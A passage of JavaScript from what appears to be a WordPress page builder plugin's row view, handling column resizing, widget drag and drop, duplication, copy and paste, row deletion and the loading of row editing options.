Widget Loop if (this_column_widgets_array.length == 0) { $('section[RowID="' + rowID + '"] ' + "." + this_column).append( "<div class='droppableBelowWidget droppableEmptyColumn' style='display:none;' data-targetColId='" + rowID + "-" + this_column + "' data-widgetIndex='0' ></div> " + "<div class='editColumn emptyColumnIcon' data-col_id=" + this_column + " data-overlay_id=" + this_column + " title='Add Widgets'><span class='dashicons dashicons-plus' style='color:#fff; font-size:2em;' data-col_id=" + this_column + " data-overlay_id=" + this_column + "></span></div></div> <div id='WidthSave' class='pb_hidden'></div>" ); } thisColFontsToLoadSeparatedValue = "Allerta"; for (var w = 0; w < thisColFontsToLoad.length; w++) { thisColFontsToLoadSeparatedNewValue = thisColFontsToLoad[w]; if ( thisColFontsToLoadSeparatedValue !== "Select" || thisColFontsToLoadSeparatedValue !== "Arial" || thisColFontsToLoadSeparatedValue !== "Arial Black" || thisColFontsToLoadSeparatedValue !== "sans-serif" || thisColFontsToLoadSeparatedValue !== "Helvetica" || thisColFontsToLoadSeparatedValue !== "Serif" || thisColFontsToLoadSeparatedValue !== "Arial" || thisColFontsToLoadSeparatedValue !== "Tahoma" || thisColFontsToLoadSeparatedValue !== "Verdana" || thisColFontsToLoadSeparatedValue !== "Monaco" || thisColFontsToLoadSeparatedValue !== "select" ) { filteredFontFamilyName = "|" + thisColFontsToLoadSeparatedNewValue; } else { filteredFontFamilyName = ""; } thisColFontsToLoadSeparatedValue = thisColFontsToLoadSeparatedValue + filteredFontFamilyName; } $('section[RowID="' + rowID + '"] ' + "." + this_column).append( '<link rel="stylesheet"href="https://fonts.googleapis.com/css?family=' + thisColFontsToLoadSeparatedValue + '">' ); colControlsArray.push(colControls); } // column loop colControlsArrayAllValues = ""; for (var w = 0; w < colControlsArray.length; w++) { colControlsArraySeparatedNewValue = colControlsArray[w]; colControlsArrayAllValues = colControlsArrayAllValues + "\n" + colControlsArraySeparatedNewValue; } $(this.el).append(colControlsArrayAllValues); if (rowColumns < 1) { rowWithNoColumnContainer = $(".rowWithNoColumnContainer").html(); $(this.el).append(rowWithNoColumnContainer); } try { var pbContainer = $("#container"); var pbWrapperWidth = $("#container").width(); var prevDoppableBgColor = ""; rowColContID = "rowColCont-" + rowID; enableColumnDroppable(rowColContID); $(".pb_widgetr").droppable({ accept: ".widget-Draggable, .wdt-draggable", snap: ".droppableBelowWidget", greedy: true, drop: function (event, ui) { //$(ui.draggable).trigger('click'); // $(".widget-Draggable").trigger("dragstop"); var curr_droppable = $(this).attr("data-targetColId"); var thisDroppableWidgetIndex = $(this).attr("data-widgetIndex"); $(".widgetDroppedAtIndex").val(thisDroppableWidgetIndex); $(".isDroppedOnDroppable").val("true"); $("#" + curr_droppable + " .wdgt-dropped").trigger("click"); }, over: function () { $(this) .children(".droppableBelowWidget") .css("background", "rgba(213, 249, 215, 0.45)"); $(this).children(".droppableBelowWidget").slideDown(250); $(this).children(".droppableAboveWidget").slideDown(250); $(this) .children(".droppableAboveWidget") .css("background", "rgba(213, 249, 215, 0.45)"); }, out: function () { $(this).children(".droppableAboveWidget").css("display", "none"); $(this).children(".droppableBelowWidget").css("display", "none"); }, }); $(".droppableAboveWidget").droppable({ accept: ".widget-Draggable, .wdt-draggable", snap: ".droppableAboveWidget", greedy: true, drop: function (event, ui) { //$(ui.draggable).trigger('click'); // $(".widget-Draggable").trigger("dragstop"); var curr_droppable = $(this).attr("data-targetColId"); var thisDroppableWidgetIndex = $(this).attr("data-widgetIndex"); $(".widgetDroppedAtIndex").val(thisDroppableWidgetIndex); $(".isDroppedOnDroppable").val("true"); $("#" + curr_droppable + " .wdgt-dropped").trigger("click"); }, over: function () { $(this).children(".droppableBelowWidget").css("display", "none"); $(this) .children(".droppableBelowWidget") .css("background", "rgba(213, 249, 215, 0.45)"); $(this).children(".droppableAboveWidget").css("display", "block"); $(this) .children(".droppableAboveWidget") .css("background", "rgba(213, 249, 215, 0.45)"); }, out: function () { $(this).children(".droppableAboveWidget").css("display", "none"); $(this).children(".droppableBelowWidget").css("display", "none"); }, }); var PbWrapperWidth = $("#container").width(); $(".pluginops_column").resizable({ containment: "#container", handles: "e,s", start: function (event, ui) { ui.element.css("min-height", "auto"); resizedAxis = ui.element.data("ui-resizable").axis; if (resizedAxis == "e") { this.widthOfNextEl = ui.originalSize.width + ui.element.next().innerWidth(); $(this).prepend( '<div style="text-align:center; color:#fff; padding:5px;" id="thisElWidth"> ' + $(this).width() + " </div>" ); $(ui.element.next()).prepend( '<div style="text-align:center; color:#fff; padding:5px;" id="nextElWidth"> ' + $(ui.element.next()).width() + " </div>" ); } }, resize: function (event, ui) { resizedAxis = ui.element.data("ui-resizable").axis; if (resizedAxis == "e") { var currentPbWrapperWidth = ui.element.parent().width(); ui.element.next().width(this.widthOfNextEl - ui.size.width - 1); ui.element.children(".overlay").width(ui.size.width); ui.element .next() .children(".overlay") .width(ui.element.next().width()); $(this) .children("#thisElWidth") .html( Math.round( (ui.element.outerWidth() / currentPbWrapperWidth) * 100 ) + "<span>%</span>" ); var nextElWidthOutput = (ui.element.next().width() / currentPbWrapperWidth) * 100; ui.element .next() .children("#nextElWidth") .html(Math.round(nextElWidthOutput) + "<span>%</span>"); } if (resizedAxis == "s") { } }, stop: function (event, ui) { resizedAxis = ui.element.data("ui-resizable").axis; if (resizedAxis == "e") { var currentPbWrapperWidth = ui.element.parent().width(); var colPercentageWidth = (ui.element.outerWidth() / currentPbWrapperWidth) * 100; ui.element.css("width", colPercentageWidth + "%"); var nextCol = ui.element.next(); var nextColPercentWidth = (nextCol.outerWidth() / currentPbWrapperWidth) * 100; nextCol.css("width", nextColPercentWidth + "%"); //console.log(currentPbWrapperWidth); ui.element.children(".overlay").css("width", "100" + "%"); ui.element .next() .children(".overlay") .css("width", "100" + "%"); var thisResizedColID = $(ui.element).attr("data-col_id"); $(".currentResizedRowColTarget").val(thisResizedColID); nextResizedColID = thisResizedColID.replace(/\D/g, ""); $(".currentResizedRowColTargetNext").val(nextResizedColID); $(ui.element).children("#WidthSave").trigger("click"); var curreViewportS = $(".currentViewPortSize").val(); jQuery(".edit_column").css("display", "none"); jQuery(".ulpb_column_controls").css("display", "none"); $(this).children("#thisElWidth").remove(); ui.element.next().children("#nextElWidth").remove(); } if (resizedAxis == "s") { var currentPbWrapperHeight = $(window).height(); var elHeight = ui.element.height(); var colPercentageHeight = (ui.element.height() / currentPbWrapperHeight) * 100; if (rowHeightUnit == "px") { } ui.element.css("height", elHeight + "px"); if (curreViewportS == "rbt-l") { ui.element.css("height", elHeight + "px"); } if (curreViewportS == "rbt-m") { ui.element.css("height", elHeight + "px"); } if (curreViewportS == "rbt-s") { ui.element.css("height", elHeight + "px"); } $(".currentResizedRowHeight").val(elHeight); $(ui.element).children("#RowHeightSave").trigger("click"); } }, }); } catch (error) { console.log(error); jQuery(".popb_safemode_popup").css("display", "block"); jQuery(".confirm_safemode_no").on("click", function () { jQuery(".popb_safemode_popup").css("display", "none"); location.reload(); }); popb_errorLog.errorMsg = error.message; popb_errorLog.errorURL = error.stack.split("\n")[1]; jQuery(".fullErrorMessage p").text("Click To View Full Error Message"); jQuery(".fullErrorMessageInput").val(popb_errorLog.errorMsg); jQuery(".confirm_safemode_yes").on("click", function () { if (pageBuilderApp.prevClickedOnSafeModeBtn == false) { pageBuilderApp.prevClickedOnSafeModeBtn = true; var result = " "; var form = jQuery(".insertTemplateForm"); jQuery.ajax({ url: admURL + "/admin-ajax.php?action=popb_enable_safe_mode&POPB_nonce=" + shortCodeRenderWidgetNO, method: "post", data: { errorMsg: popb_errorLog.errorMsg, errorURL: popb_errorLog.errorURL, }, success: function (result) { location.reload(); }, }); } }); } // Row and column buttons displayGButton = "none"; if (isGlobalRowActive == "true") { displayGButton = "inline-block"; } $(this.el).append( '<div style=" display:block;clear:left;position: relative;z-index:99;bottom: 4px;right: 5px;" class="rowAllEditBtnContainer" >' + '<div id="rowDelete" class="row-btn btn-red btn" title="Delete Row" ><span class="dashicons dashicons-trash"></span></div> ' + '<div id="rowEdit" class="row-btn btn" title="Edit Row"> <span class="dashicons dashicons-edit"></span></div> ' + '<div id="rowDuplicate" class="row-btn btn" title="Duplicate"> <span class="dashicons dashicons-admin-page"></span></div> ' + '<div id="setGlobalRow" style="background:#F0D53D;diplay:none;" class="row-btn btn globalRowBtn" title="Set Global"> <span class="dashicons dashicons-networking"></span></div> ' + '<div class="pbHandle row-btn btn" style="background: rgb(45, 60, 60) !important;"><span class="dashicons dashicons-move" title="Move"></span></div> ' + '<div class="addNewRowSection row-btn btn" style="background:#2196f3 !important;"><span class="dashicons dashicons-plus" title="Add New Section Options"></span></div> ' + '<div id="copySectionOps" class="row-btn btn" style="background:#607D8B !important;" title="Copy Options"> <span>Copy</span> </div> ' + '<div id="pasteSectionOps" class="row-btn btn pasteSectionOps" style="background:#607D8B !important; display:none;" title="Paste Section Options"> <span>Paste</span> </div> ' + "</div>" ); $(this.el).append( '<div class="newRowBtnContainer" >' + '<div class="newRowBtnContainerSections">' + '<div class="addNewRow row-section-btn" style="background:#5AB1F7;" > ADD NEW SECTION</div>' + "</div>" + '<div class="newRowBtnContainerSections" style="display:' + displayGButton + ';">' + '<div class="addNewGlobalRow row-section-btn" style="background:#F1D204; " > INSERT GLOBAL ROW</div>' + "</div>" + '<div class="newRowBtnContainerSections" >' + '<div class="addNewRowBlock row-section-btn" style="background:#4CAF50; " > INSERT DESIGN BLOCK</div> </div>' + "</div>" + "</div>" ); $('li[data-model-cid="' + rowCID + '"] .addNewRowSection').on( "click", function () { $('li[data-model-cid="' + rowCID + '"] .newRowBtnContainer').css( "display", "block" ); } ); $('li[data-model-cid="' + rowCID + '"]').mouseenter(function () { $('li[data-model-cid="' + rowCID + '"] .row-btn').css( "display", "block" ); if (isGlobalRowActive !== "true") { $(".globalRowBtn").css("display", "none"); } if (pageBuilderApp.copiedSecOps == "") { $(".pasteSectionOps").css("display", "none"); } if (thisPostType == "ulpb_global_rows") { jQuery(".addNewRowSection").css("display", "none"); jQuery("#rowDuplicate").css("display", "none"); jQuery("#setGlobalRow").css("display", "none"); } }); $(".row").mouseleave(function () { $(".row-btn").css("display", "none"); $(".newRowBtnContainer").css("display", "none"); }); // Save the current model return this; }, widgetDrag: function (ev) { var this_row = $(ev.target).attr("data-widg_row_id"); var this_column = $(ev.target).attr("data-wid_col_id"); var this_widget = $(ev.target).attr("data-widget_id"); var thisColumnData = this.model.get(this_column); //console.log($(ev.target) ); var this_column_widgets = thisColumnData["colWidgets"]; var WidgetDraggedAttr = this_column_widgets[this_widget]; $(".widgetDraggedRowId").val(this_row); $(".widgetDraggedColIndex").val(this_column); $(".widgetDraggedIndex").val(this_widget); /* this_column_widgets.splice(this_widget, 1); var thisColumnModelData = this.model.get(this_column); var this_column_widgets = thisColumnModelData['colWidgets']; var this_column_options = thisColumnModelData['columnOptions']; this.model.set({ [this_column] : { colWidgets: this_column_widgets, columnOptions: this_column_options, } }); */ //$(this.el).html(''); //$('.edit_column').slideUp(); //$('#ulpb_column_controls').remove(); // this.render(); $(".draggedWidgetAttributes").val(JSON.stringify(WidgetDraggedAttr)); thisColumnData = this.model.get(this_column); }, widgetDropped: function (ev) { var widgetDroppedAttributes = $(".draggedWidgetAttributes").val(); var widgetDroppedAtIndex = $(".widgetDroppedAtIndex").val(); var rowID = this.model.get("rowID"); var this_column = $(ev.target).attr("data-this_col_id"); var thisColumnData = this.model.get(this_column); var this_column_widgets = thisColumnData["colWidgets"]; if ( widgetDroppedAttributes != "" && typeof widgetDroppedAttributes != "undefined" ) { if (this_column_widgets == 0) { this_column_widgets = []; this_column_widgets.push(JSON.parse(widgetDroppedAttributes)); } else if (typeof this_column_widgets == "undefined") { this_column_widgets = []; this_column_widgets.push(JSON.parse(widgetDroppedAttributes)); } else { if (widgetDroppedAtIndex == "") { this_column_widgets.push(JSON.parse(widgetDroppedAttributes)); } else { this_column_widgets.splice( widgetDroppedAtIndex, 0, JSON.parse(widgetDroppedAttributes) ); } // this_column_widgets.push(JSON.parse(widgetDroppedAttributes) ); } } $(".widgetDroppedRowId").val(rowID); $(".widgetDroppedColIndex").val(this_column); $(".widgetDroppedIndex").val(widgetDroppedAtIndex); var dragged_widg_row = $(".widgetDraggedRowId").val(); var dragged_widg_col = $(".widgetDraggedColIndex").val(); var dragged_widg_widg = $(".widgetDraggedIndex").val(); $( ".draggedRemove_" + dragged_widg_row + "_" + dragged_widg_col + "_widg_" + dragged_widg_widg + " " ).trigger("click"); //console.log(this_column_widgets); //console.log(WidgetDraggedAttr); //var widgets = pageBuilderApp.widgetList.toJSON(); var thisColumnModelData = this.model.get(this_column); var this_column_options = thisColumnModelData["columnOptions"]; this.model.set({ [this_column]: { colWidgets: this_column_widgets, columnOptions: this_column_options, }, }); pageBuilderApp.widgetList.reset(); pageBuilderApp.widgetList.add(this_column_widgets); var specialAction = "add"; if (pageBuilderApp.isWidgetDeletAction == true) { var specialAction = "delete"; } if (pageBuilderApp.isDefaultWidget != true) { var specialAction = "dragAdd"; } if (widgetDroppedAtIndex == "") { widgetDroppedAtIndex = $( "#" + rowID + "-" + this_column + " .widget-Draggable" ).length; } if (pageBuilderApp.dontSendToStack != true) { var thisChangeRedoProps = { changeModelType: "widgetSpecialAction", specialAction: specialAction, thisModelElId: rowID, thisColId: this_column, thisWidgetId: parseInt(widgetDroppedAtIndex), changedOpValue: widgetDroppedAttributes, }; sendDataBackToUndoStack(thisChangeRedoProps); } pageBuilderApp.isDefaultWidget = false; pageBuilderApp.dontSendToStack = false; pageBuilderApp.isWidgetDeletAction = false; $(this.el).html(""); //$('.edit_column').slideUp(); //$('#ulpb_column_controls').remove(); this.render(); jQuery(".edit_column, .ulpb_column_controls").css("display", "none"); hideWidgetOpsPanel(); resizeWindowClose(); pageBuilderApp.ifChangesMade = true; }, widgetColChange: function (ev) { $(this.el).html(""); this.render(); }, widgetDragRemove: function (ev) { var droppedOnRow = $(".widgetDroppedRowId").val(); var widgetDroppedColIndex = $(".widgetDroppedColIndex").val(); var widgetDroppedIndex = $(".widgetDroppedIndex").val(); var this_row = $(".widgetDraggedRowId").val(); var this_column = $(".widgetDraggedColIndex").val(); var this_widget = parseInt($(".widgetDraggedIndex").val()); var thisColumnData = this.model.get(this_column); var this_column_widgets = thisColumnData["colWidgets"]; if (widgetDroppedIndex == "") { widgetDroppedIndex = this_widget; } if (droppedOnRow == this_row && widgetDroppedColIndex == this_column) { if (widgetDroppedIndex < this_widget) { var removedWidgetAttrs = this_column_widgets.splice( this_widget + 1, 1 ); } if (widgetDroppedIndex > this_widget) { if (this_widget != 0) { var removedWidgetAttrs = this_column_widgets.splice(this_widget, 1); } else { var removedWidgetAttrs = this_column_widgets.splice(this_widget, 1); } } if (widgetDroppedIndex == this_widget) { var removedWidgetAttrs = this_column_widgets.splice(this_widget, 1); } } else { var removedWidgetAttrs = this_column_widgets.splice(this_widget, 1); } var thisColumnModelData = this.model.get(this_column); var this_column_widgets = thisColumnModelData["colWidgets"]; var this_column_options = thisColumnModelData["columnOptions"]; this.model.set({ [this_column]: { colWidgets: this_column_widgets, columnOptions: this_column_options, }, }); var specialAction = "dragDelete"; var thisChangeRedoProps = { changeModelType: "widgetSpecialAction", specialAction: specialAction, thisModelElId: this_row, thisColId: this_column, thisWidgetId: this_widget, changedOpValue: JSON.stringify(removedWidgetAttrs[0]), }; sendDataBackToUndoStack(thisChangeRedoProps); $(".widgetDraggedRowId").val(""); $(".widgetDraggedColIndex").val(""); $(".widgetDraggedIndex").val(""); $(".widgetDroppedRowId").val(""); $(".widgetDroppedColIndex").val(""); $(".widgetDroppedIndex").val(""); $(this.el).html(""); //$('.edit_column').slideUp(); //$('#ulpb_column_controls').remove(); this.render(); }, deleteWidget: function (ev) { thisWidgetEl = $(ev.target); thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid"); thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id")); // $('#'+thisWidgetParentColID).children('.editColumn').trigger('click'); pageBuilderApp.currentlyEditedColId = thisWidgetParentColID; pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex; pageBuilderApp.currentlyEditedThisCol = thisWidgetEl.attr("data-wid_col_id"); pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); jQuery(".ColcurrentEditableRowID").val( pageBuilderApp.currentlyEditedThisRow ); jQuery(".currentEditableColId").val( pageBuilderApp.currentlyEditedThisCol ); this.loadWidgetsInColumn(); $("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")") .children() .children(".wdt-edit-controls") .children("#widgetDelete") .trigger("click"); $( ".ulpb_column_controls, .edit_column, .pageops_modal, .insertRowBlock, .ulpb_row_controls, .edit_row, .closePageOpsBtn" ).css("display", "none"); resizeWindowClose(); }, duplicateWidget: function (ev) { var this_column = $(ev.target).attr("data-wid_col_id"); var this_widget = $(ev.target).attr("data-widget_id"); var thisColumnData = this.model.get(this_column); var rowID = this.model.get("rowID"); var this_column_widgets = thisColumnData["colWidgets"]; var WidgetDraggedAttr = jQuery.extend( true, {}, this_column_widgets[this_widget] ); var currentItemIndex = this_column_widgets.indexOf( this_column_widgets[this_widget] ); this_column_widgets.splice(currentItemIndex, 0, WidgetDraggedAttr); var thisColumnModelData = this.model.get(this_column); var this_column_widgets = thisColumnModelData["colWidgets"]; var this_column_options = thisColumnModelData["columnOptions"]; this.model.set({ [this_column]: { colWidgets: this_column_widgets, columnOptions: this_column_options, }, }); var thisChangeRedoProps = { changeModelType: "widgetSpecialAction", specialAction: "add", thisModelElId: rowID, thisColId: this_column, thisWidgetId: currentItemIndex, changedOpValue: JSON.stringify(WidgetDraggedAttr), }; sendDataBackToUndoStack(thisChangeRedoProps); hideWidgetOpsPanel(); $( ".ulpb_column_controls, .edit_column, .pageops_modal, .insertRowBlock, .ulpb_row_controls, .edit_row, .closePageOpsBtn" ).css("display", "none"); resizeWindowClose(); pageBuilderApp.widgetList.reset(); pageBuilderApp.widgetList.add(this_column_widgets); $(this.el).html(""); this.render(); pageBuilderApp.ifChangesMade = true; }, editWidgetTrigger: function (ev) { //console.log('editWidgetTrigger') thisWidgetEl = $(ev.currentTarget); editWidgetTrigger = true; isWidgetDragButtonClicked = false; if ($(ev.target).is("span")) { isEditWidgetButtonClicked = $(ev.target) .parent() .hasClass("widgetHandle"); draggableWidgets = $(ev.target).parent().hasClass("draggableWidgets"); wdgtdragRemove = $(ev.target).parent().hasClass("wdgt-dragRemove"); } else { isEditWidgetButtonClicked = $(ev.target).hasClass("widgetHandle"); isWidgetDragButtonClicked = $(ev.target).hasClass("widgetMoveHandle"); draggableWidgets = $(ev.target).hasClass("draggableWidgets"); wdgtdragRemove = $(ev.target).hasClass("wdgt-dragRemove"); } isEltWrappedEl = $(ev.target).hasClass("elLtWrapped"); if (isEltWrappedEl == true) { editWidgetTrigger = false; } if (isWidgetDragButtonClicked == true) { editWidgetTrigger = false; } if (draggableWidgets == true || wdgtdragRemove == true) { editWidgetTrigger = false; } if ($(ev.currentTarget).find(".liveTextActive").length > 0) { editWidgetTrigger = false; } if (isEditWidgetButtonClicked == true) { editWidgetTrigger = false; } if (pageBuilderApp.currentlyEditingWidget == thisWidgetEl.attr("id")) { editWidgetTrigger = false; if ($(".columnWidgetPopup:visible").length < 1) { editWidgetTrigger = true; } } /* if (pageBuilderApp.isInlineSavingActive == true) { editWidgetTrigger = false; } */ if (editWidgetTrigger == true) { thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid"); thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id")); pageBuilderApp.currentlyEditedColId = thisWidgetParentColID; pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex; pageBuilderApp.currentlyEditedThisCol = thisWidgetEl.attr("data-wid_col_id"); pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); jQuery(".ColcurrentEditableRowID").val( pageBuilderApp.currentlyEditedThisRow ); jQuery(".currentEditableColId").val( pageBuilderApp.currentlyEditedThisCol ); this.loadWidgetsInColumn(); // $('#'+thisWidgetParentColID).children('.editColumn').trigger('click'); pageBuilderApp.currentlyEditingWidget = ""; pageBuilderApp.currentlyEditingWidget = thisWidgetEl.attr("id"); $("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")") .children() .children(".wdt-edit-controls") .children("#widgetEdit") .trigger("click"); $(".animateWidgetId").val(thisWidgetIndex); $(".pageops_modal").css("display", "none"); $(".insertRowBlock").css("display", "none"); } }, loadWidgetsInColumn: function () { var thisColumnData = this.model.get( pageBuilderApp.currentlyEditedThisCol ); var this_column_widgets = thisColumnData["colWidgets"]; pageBuilderApp.widgetList.reset(); if (this_column_widgets) { pageBuilderApp.widgetList.add(this_column_widgets); } $(".checkIfWidgetsAreLoadedInColumn").val("true"); }, editWidget: function (ev) { //var editWidgetTuc0 = performance.now(); if (pageBuilderApp.isInlineSavingActive == true) { editWidgetTrigger = false; pageBuilderApp.isInlineSavingActive == false; } else { thisWidgetEl = $(ev.target); thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid"); thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id")); pageBuilderApp.currentlyEditedColId = thisWidgetParentColID; pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex; pageBuilderApp.currentlyEditedThisCol = thisWidgetEl.attr("data-wid_col_id"); pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); jQuery(".ColcurrentEditableRowID").val( pageBuilderApp.currentlyEditedThisRow ); jQuery(".currentEditableColId").val( pageBuilderApp.currentlyEditedThisCol ); this.loadWidgetsInColumn(); // $('#'+thisWidgetParentColID).children('.editColumn').trigger('click'); $("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")") .children() .children(".wdt-edit-controls") .children("#widgetEdit") .trigger("click"); $(".animateWidgetId").val(thisWidgetIndex); $(".pageops_modal").css("display", "none"); $(".insertRowBlock").css("display", "none"); } // var editWidgetTuc1 = performance.now(); //console.log("Call to editWidgetTrigger took " + (editWidgetTuc1 - editWidgetTuc0) + " milliseconds."); }, copyWidgetOps: function (ev) { var this_column = $(ev.target).attr("data-wid_col_id"); var this_widget = $(ev.target).attr("data-widget_id"); var thisColumnData = this.model.get(this_column); var this_column_widgets = thisColumnData["colWidgets"]; var WidgetCopiedAttr = jQuery.extend( true, {}, this_column_widgets[this_widget] ); pageBuilderApp.copiedWidgOps = JSON.stringify(WidgetCopiedAttr); }, pasteWidgetOps: function (ev) { thisWidgetEl = $(ev.target); thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid"); thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id")); pageBuilderApp.currentlyEditedColId = thisWidgetParentColID; pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex; pageBuilderApp.currentlyEditedThisCol = thisWidgetEl.attr("data-wid_col_id"); pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); jQuery(".ColcurrentEditableRowID").val( pageBuilderApp.currentlyEditedThisRow ); jQuery(".currentEditableColId").val( pageBuilderApp.currentlyEditedThisCol ); this.loadWidgetsInColumn(); // $('#'+thisWidgetParentColID).children('.editColumn').trigger('click'); $("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")") .children() .children(".wdt-edit-controls") .children("#pasteCopiedOptions") .trigger("click"); }, deleteRow: function () { $(".deleteRowIndex").val(this.model.get("rowID")); var thatThis = this; $(".popb_confirm_action_popup").css("display", "block"); $(".popb_confirm_subMessage_row").text( "Do you want to delete this Row ? Deleted Items can be restored by clicking on redo button at top bar." ); $(".confirm_no").on("click", function () { $(".popb_confirm_action_popup").css("display", "none"); $(".deleteRowIndex").val(""); return; }); $(".confirm_yes").one("click", function () { var deleteRowIndex = $(".deleteRowIndex").val(); rowID = thatThis.model.get("rowID"); rowCID = thatThis.model.cid; modelIndex = pageBuilderApp.rowList.indexOf(thatThis.model); modelAttributes = thatThis.model.clone(); if (deleteRowIndex != "") { if (rowID == deleteRowIndex) { var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "delete", thisModelVal: modelAttributes, thisModelIndex: modelIndex, }; sendDataBackToUndoStack(thisChangeRedoProps); thatThis.model.destroy(); $(thatThis.el).remove(); $(".deleteRowIndex").val(""); } } hideWidgetOpsPanel(); $( ".pageops_modal, .insertRowBlock, .edit_column, .ulpb_row_controls, .popb_confirm_action_popup, .closePageOpsBtn, .edit_row" ).css("display", "none"); resizeWindowClose(); return; }); pageBuilderApp.ifChangesMade = true; return; }, EditRow: function () { //console.log(JSON.stringify(this.model) ); $(".ulpb_column_controls").css("display", "none"); hideWidgetOpsPanel(); $(".pageops_modal").css("display", "none"); $(".edit_column").css("display", "none"); $(".insertRowBlock").css("display", "none"); document.getElementById("rowOpsForm").reset(); let thisModelDataAttr = _.clone(this.model.attributes); let defaultModelDataAttr = JSON.stringify( _.clone(pageBuilderApp.rowModelDefaultOps) ); defaultModelDataAttr = JSON.parse(defaultModelDataAttr); mergeNonsetObjectKeys( thisModelDataAttr["rowData"], defaultModelDataAttr["rowData"] ); let rowID = this.model.get("rowID"); $(".currentEditingRow").val(rowID); let row_height = this.model.get("rowHeight"); let row_height_unit = this.model.get("rowHeightUnit"); let row_no_columns = this.model.get("columns"); let rowData = thisModelDataAttr["rowData"]; if(typeof(row_height_unit) == 'undefined'){ row_height_unit = 'px'; } let row_margin = rowData["margin"]; let rowMarginTop = row_margin["rowMarginTop"]; let rowMarginBottom = row_margin["rowMarginBottom"]; let rowMarginLeft = row_margin["rowMarginLeft"]; let rowMarginRight = row_margin["rowMarginRight"]; let row_padding = rowData["padding"]; let rowPaddingTop = row_padding["rowPaddingTop"]; let rowPaddingBottom = row_padding["rowPaddingBottom"]; let rowPaddingLeft = row_padding["rowPaddingLeft"]; let rowPaddingRight = row_padding["rowPaddingRight"]; $("#row_height").val(""); $(".row_height_unit").val(""); if (row_height != "") { $("#row_height").val(row_height); } if (row_height_unit != "") { $(".row_height_unit").val(row_height_unit); } if (row_no_columns != "") { $("#number_of_columns").val(row_no_columns); } if (rowData["bg_img"] != "") { $(".rowBgImg").val(rowData["bg_img"]); } if (rowData["bg_imgT"] != "") { $('[data-optname="rowData.bg_imgT"]').val(rowData["bg_imgT"]); } if (rowData["bg_imgM"] != "") { $('[data-optname="rowData.bg_imgM"]').val(rowData["bg_imgM"]); } if (rowData["conType"] != "") { $('[data-optname="rowData.conType"]').val(rowData["conType"]); } if (rowData["conWidth"] != "") { $('[data-optname="rowData.conWidth"]').val(rowData["conWidth"]); } if (rowMarginTop != "" && rowMarginTop != "0") { $(".rowMarginTop").val(rowMarginTop); } if (rowMarginBottom != "" && rowMarginBottom != "0") { $(".rowMarginBottom").val(rowMarginBottom); } if (rowMarginLeft != "" && rowMarginLeft != "0") { $(".rowMarginLeft").val(rowMarginLeft); } if (rowMarginRight != "" && rowMarginRight != "0") { $(".rowMarginRight").val(rowMarginRight); } if (rowPaddingTop != "" && rowPaddingTop != "0") { $(".rowPaddingTop").val(rowPaddingTop); } if (rowPaddingBottom != "" && rowPaddingBottom != "0") { $(".rowPaddingBottom").val(rowPaddingBottom); } if (rowPaddingLeft != "" && rowPaddingLeft != "0") { $(".rowPaddingLeft").val(rowPaddingLeft); } if (rowPaddingRight != "" && rowPaddingRight != "0") { $(".rowPaddingRight").val(rowPaddingRight); } $(".rowBgColor").val(rowData["bg_color"]); $(".rowBgColor").spectrum("set", rowData["bg_color"]); if (typeof rowData["video"] != "undefined") { var row_video = rowData["video"]; $.each(rowData["video"], function (index, val) { if (val != "") { $("." + index).val(val); } }); if (typeof row_video["rowVideoType"] != "undefined") { if (row_video["rowVideoType"] == "mp4") { $(".bgrowmp4").css("display", "block"); $(".bgrowyt").css("display", "none"); } if (row_video["rowVideoType"] == "yt") { $(".bgrowyt").css("display", "block"); $(".bgrowmp4").css("display", "none"); } } } if (typeof rowData["rowGradient"] !== "undefined") { var rowGradient = rowData["rowGradient"]; $.each(rowGradient, function (index, val) { if (val != "") { $("." + index).val(val); if (index == "rowGradientColorFirst") { $(".rowGradientColorFirst").spectrum("set", val); } if (index == "rowGradientColorSecond") { $(".rowGradientColorSecond").spectrum("set", val); } if (index == "rowGradientLocationFirst") { $(".PoPbrangeSlider").slider({ value: val, }); } } }); if (rowGradient["rowGradientType"] == "linear") { $(".radialInput").css("display", "none"); $(".linearInput").css("display", "block"); } else if (rowGradient["rowGradientType"] == "radial") { $(".radialInput").css("display", "block"); $(".linearInput").css("display", "none"); } } if (typeof rowData["rowBackgroundType"] !== "undefined") { if (rowData["rowBackgroundType"] == "solid") { $( "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid" ).prop("checked", true); $("#defaultRowBgOptions .POPBInputNormalRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $("#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $("#defaultRowBgOptions .POPBInputNormalRow .popb_tab_content").css( "display", "none" ); $("#defaultRowBgOptions .POPBInputNormalRow .content_popb_tab_1").css( "display", "block" ); } if (rowData["rowBackgroundType"] == "gradient") { $(".rowBackgroundTypeGradient").prop("checked", true); $("#defaultRowBgOptions .POPBInputNormalRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $( "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeGradient" ) .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $("#defaultRowBgOptions .POPBInputNormalRow .popb_tab_content").css( "display", "none" ); $("#defaultRowBgOptions .POPBInputNormalRow .content_popb_tab_2").css( "display", "block" ); } } else { $( "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid" ).prop("checked", true); 